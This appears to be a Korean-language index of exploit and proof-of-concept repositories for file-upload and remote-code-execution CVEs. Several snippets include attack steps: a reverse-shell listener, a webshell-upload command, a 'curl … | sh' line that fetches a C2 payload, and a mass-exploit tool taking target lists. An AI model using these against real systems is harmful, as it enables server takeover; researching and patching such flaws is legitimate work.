CVE-2026-25548

CVE-2026-25548 — InvoicePlane 1.7.0 원격 코드 실행 취약점 취약점: 로컬 파일 포함LFI + 로그 오염Log Poisoning을 통한 원격 코드 실행 제품: InvoicePlane 영향받는 버전: 1.7.0 이전 버전도 가능성 있음 심각도: 치명적Critical CVSS 3.1 점수: 9.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H CWE: CWE-98, CWE-117, CWE-94 발견자: Leonidas Agathos 보고일: 2026-01-31 목차 설명...

CVE-2025-10353-POC

CVE-2025-10353 POC - 파일 업로드 RCE 🛠️ CVE-2025-10353에 대한 POC: Melis Platform의 melis-cms-slider 모듈에서 발견된 파일 업로드 취약점으로, 공격자가 mcsdetailimg 파라미터를 통해 악성 파일을 업로드하면 원격 코드 실행RCE으로 이어질 수 있습니다: /melis/MelisCmsSlider/MelisCmsSliderDetails/saveDetailsForm 🔗 참고 자료 📄 MITRE의 CVE-2025-10353 📄 INCIBE스페인 국가사이버보안연구소의...

CVE-2026-107362

Malcolm file-upload component ships the upstream FilePond PHP server pqina/filepond-server-php largely unmodified: Dockerfile copies all upstream .php files and Malcolm only overwrites config.php and submit.php. Upstream index.php exposes a fetch API route that instructs the server to download an...

ICS-MoxieManager-FileUpload-PoC

ICS-MoxieManager-RCE-CVE-2026-30-03 CVE-2026-30-03 9.8 치명적 Jenzabar ICS + MoxieManager 잠재적 RCE proff https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be CVE CVSS 영향 영향 대상 CVE-2026-30-03 9.8 치명적 잠재적 RCE Jenzabar ICS + MoxieManager Jenzabar ICS 시스템에서 사용되는 MoxieManager 구성 요소의 취약점으로 인해 파일 업로...

CVE-2026-3844

CVE-2026-3844 대량 익스플로잇 CVE-2026-3844 – Breeze Cache WordPress =2.4.4는 로컬 Gravatar 호스팅이 활성화된 경우 fetchgravatarfromremote를 통한 인증되지 않은 파일 업로드를 허용합니다. 설치 저장소 다운로드 git clone https://github.com/im-hanzou/CVE-2026-3844 저장소 폴더로 이동 cd CVE-2026-3844 필수 패키지 설치 pip install -r requirements.txt 사용법 한 줄에 대상 하나씩...

CVE-2026-31816-rshell

CVE-2026-31816 리버스 셸 익스플로잇 개요 이 도구는 CVE-2026-31816을 악용하여 대상 Budibase 서버에 리버스 셸 연결을 설정합니다. 공격 체인 : 인증 우회 → DATASOURCE 플러그인 업로드 → 서버 측 코드 실행 → 리버스 셸 요구 사항 Python 3.6+ requests 라이브러리 pip install requests CVE-2026-31816에 취약한 대상 Budibase 서버 사용 방법 기본 단계 1. 공격자 머신에서 리스너 시작 nc -lvnp 4444 2. 익스플로잇 실행 다른 터...

Exploit-CVE-2026-1357

의존성 설치 pip3 install pycryptodome requests 기본 익스플로잇 python3 wpvivi.py http://target.com 커스텀 웹셸 python3 wpvivi.py http://target.com --shell backdoor.php python3 wpvivi.py http://target.com --code "" 기술적 설명: Null Byte Key: RSA 복호화가 실패하면 false를 반환하며, phpseclib는 이를 "\x00\x00\x00"으로 처리합니다. AES-128 ECB...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache RCE 인증 없는 임의 파일 업로드 → 원격 코드 실행 필드| 값 ---|--- CVE| CVE-2026-3844 CVSS| 9.8 Critical 플러그인| Breeze Cache Cloudways 영향 범위| ≤ 2.4.4 수정 버전| 2.4.5 발견자| Hung Nguyen bashu PoC 작성자| halilkirazkaya 개요 Breeze Cache WordPress 플러그인≤ 2.4.4에는 심각한 임의 파일 업로드 취약점이 존재합니다. 공격자들은 인증 없이 원격 ...

CVE-2026-42879

CVE-2026-42879 - FacturaScripts - 인증된 사용자의 MIME 타입 우회를 통한 무제한 파일 업로드 요약 FacturaScripts의 제품 이미지 업로드 기능에 인증된 사용자의 무제한 파일 업로드 취약점이 존재합니다. 유효한 자격 증명을 가진 공격자는 GIF89a 헤더를 사용하여 PHP 파일을 GIF 이미지로 위장해 업로드함으로써 MIME 타입 검증을 우회할 수 있습니다. 파일은 원래 확장자.php와 같은 실행 가능한 확장자 포함로 저장됩니다. 세부 정보 취약점은 다음 위치에 존재합니다:...

CVE-2021-46398_Chamilo-LMS-RCE

CVE-2021-46398 Chamilo-LMS 1.11.14 RCE Chamilo LMS v1.11.14에는 제로 클릭 코드 주입 취약점이 존재하는 것으로 확인되었으며, 이를 통해 공격자는 제작된 플러그인을 통해 임의 코드를 실행할 수 있습니다. 이 취약점은 사용자가 공격자의 프로필 페이지와 상호 작용할 때 트리거됩니다. 원클릭 기법: 학생 계정을 보유한 공격자는 악성 웹 페이지 또는 악성 SVG 이미지 파일을 생성하여 학생 프로필 페이지의 "My Productions" 섹션에 업로드한 후, 해당 파일의 URL을 복사하여...

CVE-2021-45010-TinyFileManager-Exploit

CVE-2021-45010 CVE-2021-45010: Tiny File Manager Project의 Tiny File Manager = 2.4.3에 포함된 tinyfilemanager.php의 파일 업로드 기능에 존재하는 경로 탐색Path traversal 취약점으로, 유효한 사용자 계정을 가진 원격 공격자가 웹 루트에 악성 PHP 파일을 업로드하여 대상 서버에서 코드 실행을 달성할 수 있습니다...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE 원래 이용 방식은 emqx 플러그인을 업로드하고, 플러그인 템플릿 코드에 Erlang os 모듈을 추가하여 시스템 명령을 호출해 RCE를 실행하는 방식입니다. 출망 환경에서는 기본적으로 curl이 존재하므로, curl http://xx.xx.xx.xx/1.sh | sh를 통해 직접 C2에 연결할 수 있습니다. 타깃이 출망이 아닌 경우, EMQX 자체가 MQTT 메시지 서버이므로 플러그인 업로드와 함께 EMQX 서버에서 업로드한...

CVE-2026-7537

MDJM Event Management = 1.7.8.3 - 인증된 관리자+ 'mdjmemailuploadfile' 매개변수를 통한 임의 파일 업로드 WordPress MDJM Event Management 플러그인버전 1.7.8.3 및 이전에는 인증된 관리자가 악성 PHP 파일을 서버에 업로드하여 잠재적으로 원격 코드 실행으로 이어질 수 있는 임의 파일 업로드 취약점이 있습니다. TL;DR 익스플로잇 인증된 공격자가 shell.php를 업로드하고 원격 코드를 실행하는 방법을 보여주는 POC CVE-2026-7537.py가...

CSRF-to-RCE-on-Backdrop-CMS

Backdrop CMS 1.20에서 CSRF to RCE 이 PoC는 Backdrop CMS 버전 1.20에서 CSRF를 악용하여 RCE로 확장하는 방법을 설명합니다. CVE ID CVE-2021-45268 설명 Backdrop CMS 버전 1.20은 사이트에 업로드된 ZIP 파일을 통해 플러그인을 추가할 수 있습니다. 또한 anti-CSRF 보호 기능이 없기 때문에, 공격자는 명령 실행을 허용하는 파일이 포함된 플러그인을 만들어 호스팅하고, 위조된 페이지를 이용해 사이트 관리자가 악성 링크를 클릭하기만 해도 이 플러그인을...

exploits

exploits 공개된 PoC는 exploitdb.com에서 확인할 수 있습니다. Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

tpadmin-CVE-2026-2113-poc

tpadmin-CVE-2026-2113-poc 임의 파일 업로드Arbitrary File Upload를 통해 웹 서버 권한을 가진 원격 코드 실행RCE을 악용하는 개념 증명PoC입니다. 취약점 설명 H-ui.admin 시스템의 WebUploader 미리보기 컴포넌트에 치명적인 원격 코드 실행 취약점이 존재합니다. /public/static/admin/lib/webuploader/0.1.5/server/preview.php 파일은 적절한 인증 및 파일 검증이 없어, 인증되지 않은 공격자가 임의의 PHP 파일을 웹 서버에 직접...

Unrestricted-File-Upload-on-SiteMagic-CMS-4.4.2

SiteMagic CMS 4.4.2 무제한 파일 업로드 이 저장소는 SiteMagic CMS 4.4.2의 무제한 파일 업로드 취약점을 악용하는 방법을 설명합니다. SiteMagic CMS 4.4.2 정보 Website: https://sitemagic.org/ Download: https://sitemagic.org/Download.html PoC - SiteMagic CMS 4.4.2 무제한 파일 업로드 취약점 악용 FrmUpload.class.php는 웹사이트에 업로드할 수 있는 파일 유형을 처리하지 않으므로 ".php"와...

CVE-2026-107335 Improper Handling of Highly Compressed Data in Malcolm

Malcolm's upload-processing pipeline scripts/safe-extract.py enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives zip/tar/rar/7z via libarchive, but those limits are not applied when the uploaded file is a single-stream compressed format .gz,...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache = 2.4.4 인증되지 않은 임의 파일 업로드를 통한 RCE 개요 필드| 값 ---|--- CVE| CVE-2026-3844 CVSS| 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-434 — 위험한 유형의 파일 무제한 업로드 플러그인| Breeze Cache by Cloudways 영향 범위| 2.4.4 이하 모든 버전 수정 버전| 2.4.5 changeset 3511463 설치 수| 400,000개...

smart-sketcher-upload

smART Sketcher 2.0 - 블루투스 인증 우회 CVE-2026-0842 | BLE 인터페이스의 인증 누락 개요 smART Sketcher 2.0은 아이들이 이미지를 따라 그릴 수 있게 해주는 블루투스 지원 장난감 프로젝터입니다. 블루투스 연결에 인증이 없어서, 반경 내에 있는 누구나 페어링이나 알림 없이 연결하여 이미지를 기기에 전송할 수 있습니다. 데모 문제점 기기가 블루투스로 "smART Sketcher 2.0"으로 표시됨 연결에 페어링이 필요 없음 명령이나 이미지를 보내는 데 인증이 없음 누군가 연결해도 알림이...